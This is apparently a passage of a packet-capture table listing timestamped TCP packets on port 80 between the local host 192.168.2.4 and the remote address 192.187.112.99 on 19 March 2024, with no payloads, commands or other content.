Mar 19, 2024 08:56:53.708538055 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708550930 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708589077 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708599091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708632946 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708652973 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708688021 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708699942 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708729029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708764076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708801031 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708802938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708837986 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708849907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708893061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708920002 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708941936 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708954096 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708991051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708992958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709033966 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709052086 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709089994 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709166050 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709213972 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709237099 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709280014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709284067 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709320068 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709345102 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709386110 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709398985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709441900 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709620953 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709666014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709717035 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709774017 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709774017 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709815025 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709857941 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709904909 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.709938049 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.709981918 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710014105 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710045099 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710077047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710115910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710149050 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710192919 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710206032 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710242033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710266113 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710298061 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710311890 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710331917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710381985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710427046 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710458040 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710504055 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710530043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710572958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710594893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710633039 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710644960 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710690975 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710702896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710752964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710783005 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710829020 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710864067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710906029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.710953951 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.710998058 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711004972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711047888 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711076021 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711121082 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711143970 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711179018 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711211920 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711257935 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711278915 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711322069 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711348057 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711386919 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711421013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711463928 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711494923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711541891 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711592913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711623907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711656094 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711685896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711726904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711754084 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711801052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711843014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711889029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.711955070 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711997032 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.711998940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712044001 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712066889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712111950 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712120056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712161064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712227106 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712275028 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712295055 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712335110 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712352991 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712408066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712430000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712440968 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712483883 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712528944 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712559938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712599993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712732077 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712779045 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712793112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712826014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712832928 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712861061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712891102 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712933064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.712945938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.712989092 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.816741943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.816771984 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.816786051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.816802025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.816812038 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.816848993 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.816893101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.816977978 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817012072 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817030907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817054033 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817075014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817079067 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817133904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817178965 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817224979 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817338943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817352057 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817364931 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817388058 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817413092 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817428112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817475080 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817482948 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817522049 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817523956 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817569971 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817612886 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817660093 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817688942 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817733049 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817764044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817804098 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817847013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817894936 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.817915916 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.817955017 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818025112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818070889 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818079948 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818120003 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818129063 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818173885 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818396091 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818408966 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818449974 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818460941 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818505049 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818552017 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818602085 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818631887 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818701029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818790913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818836927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818892956 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.818933964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.818975925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819025993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819032907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819077015 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819099903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819143057 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819185972 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819233894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819245100 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819289923 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819331884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819376945 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819472075 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819485903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819518089 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819528103 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819564104 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819586039 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819636106 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819658041 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819701910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819744110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819789886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819822073 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819864035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819931030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.819983006 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.819988966 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820031881 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820048094 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820095062 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820106030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820127964 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820147991 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820159912 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820195913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820236921 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820544958 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820558071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820569038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820591927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820605040 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820616007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820641041 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820651054 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820696115 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820710897 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820755005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820765018 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820808887 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820808887 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820832968 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.820859909 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.820868969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821063042 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821113110 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821126938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821166992 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821191072 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821223974 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821235895 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821261883 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821293116 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821335077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821356058 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821403027 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821727991 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821773052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.821927071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.821974993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822031021 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822077990 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822149992 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822197914 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822206974 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822247028 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822348118 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822396040 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822401047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822441101 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822448015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822494030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822679996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822693110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822705030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822727919 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822738886 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822786093 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822798967 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.822829962 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.822858095 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823021889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823067904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823112965 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823126078 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823160887 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823179007 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823219061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823230028 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823246956 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823268890 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823282957 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823504925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823550940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823602915 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823616982 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823648930 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823848963 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823862076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823895931 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.823942900 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.823982000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824111938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824158907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824173927 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824208021 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824279070 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824325085 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824492931 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824541092 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824657917 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824671030 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824702024 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824703932 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824738979 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824768066 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824812889 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824822903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.824867964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.824966908 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825011015 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825023890 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825064898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825298071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825309992 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825330973 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825341940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825352907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825361967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825370073 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825393915 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825470924 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825514078 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825545073 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825563908 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825587988 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825613022 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825835943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825881958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825886011 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825903893 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825927973 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825947046 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.825948000 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.825994015 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.826013088 CET	80	49729	192.187.112.99	192.168.2.4
